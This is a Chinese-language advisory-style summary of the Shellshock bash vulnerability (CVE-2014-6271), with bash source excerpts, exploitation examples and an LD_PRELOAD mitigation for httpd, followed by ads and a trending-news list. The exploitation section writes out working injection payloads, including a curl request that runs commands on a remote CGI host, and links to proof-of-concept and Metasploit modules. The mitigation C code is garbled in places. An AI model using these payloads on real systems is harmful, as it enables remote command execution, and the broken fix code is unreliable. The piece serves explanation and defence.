破壳漏洞CVE-2014-6271 bash代码注入漏洞总结
概述:
低于4.3版本的gnu bash存在漏洞,运行本地用户通过构造畸形命令执行额外的代码。
细节:
bash-4.1/variables.c 的initialize_shell_variables() 函数负责解析临时环境变量中的函数定义并执行出,未验证特殊的环境变量情况,代码如下:
void
initialize_shell_variables (env, privmode)
char **env;
int privmode;
{
...
strcpy(temp_string + char_index + 1, string);
/*此处缺少对畸形环境变量的验证,应修改为
if(legal_identifier (name))
parse_and_execute(temp_string, name, SEVAL_NONINT SEVAL_NOHIST SEVAL_FUNCDEF SEVAL_ONECMD);
*/
parse_and_execute(temp_string, name, SEVAL_NONINT SEVAL_NOHIST);
/* Ancientbackwards compatibility. Old versions ofbash exported
functions likename()=() {...} */
if(name[char_index - 1] == ')' && name[char_index - 2] == '(')
name[char_index - 2] = '';
...
}
bash-4.1/builtins/evalstring.c 的parse_and_execute()函数负责具体的解析和执行,未验证特殊的command情况,代码如下:
int
parse_and_execute (string, from_file, flags)
char *string;
const char*from_file;
int flags;
{
...
else if (command= global_command)
{
struct fd_bitmap *bitmap;
/*此处缺少对command类型的判断,应添加
if((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
{
internal_warning("%s: ignoring function definition attempt", from_file);
should_jump_to_top_level= 0;
last_result= last_command_exit_value = EX_BADUSAGE;
break;
}
*/
bitmap = new_fd_bitmap (FD_BITMAP_SIZE);
begin_unwind_frame("pe_dispose");
add_unwind_protect (dispose_fd_bitmap, bitmap);
add_unwind_protect (dispose_command,command); /* XXX */
global_command = (COMMAND *)NULL;
...
}
影响范围:
该漏洞影响gnu bash 4.3之前的版本。
由于bash的广泛应用,也影响到其他的软件,如httpd cgi等。
利用方法:
[bash本地命令注入]
1.官方验证版 env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
2.官方patch绕过版 env -i X='() { (a)=>' bash -c 'echo date';cat echo
[http cgi远程命令执行]
curl -A "(){ :; }; /bin/ls /; uname -a" http://www.aaa.com/bbb.cgi -v
[dhcp远程命令执行]
https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/
[vmware fusion提权]
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/vmware_bash_function_root.rb
漏洞延伸:
busybox 不存在相同漏洞
httpd cgi修复方法:
我们提供的Httpd临时修复方案如下:
1.编辑bash_ld_preload.c文件
#include <sys/types.h>
#include
#include
static void __attribute__ ((constructor)) strip_env(void);
extern char **environ;
static void strip_env()
{
char *p,*c;
int i = 0;
for (p =envirop[i];!=NULL;i++ ) {
c =strstr(p,"=() {");
if (c !=NULL) {
*(c+2)= '';
}
p =environ[i];
}
}
2.检查校验和
sha256sum bash_ld_preload.c
28cb0ab767a95dc2f50a515106f6a9be0f4167f9e5dbc47db9b7788798eef153 bash_ld_preload.c
3.编译
$ gcc bash_ld_preload.c -fPIC -shared-Wl,-soname,bash_ld_preload.so.1 -o bash_ld_preload.so
4.复制bash_ld_preload.so到/lib
cp bash_ld_preload.so /lib/
5.在/etc/init.d/httpd头部(在#!行之后)添加以下内容:
LD_PRELOAD=/lib/bash_ld_preload.so
export LD_PRELOAD
6.重启httpd
service httpd restart
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 习近平将发表二〇二六年新年贺词 7904141
- 2 2026年国补政策来了 7808738
- 3 东部战区:开火!开火!全部命中! 7712893
- 4 2026年这些民生政策将惠及百姓 7616985
- 5 小学食堂米线过期2.5小时被罚5万 7519709
- 6 解放军喊话驱离台军 原声曝光 7428214
- 7 为博流量直播踩烈士陵墓?绝不姑息 7327605
- 8 每月最高800元!多地发放养老消费券 7238391
- 9 数字人民币升级 1月1日起将计付利息 7141831
- 10 2026年1月1日起 一批新规将施行 7040675








站内编辑
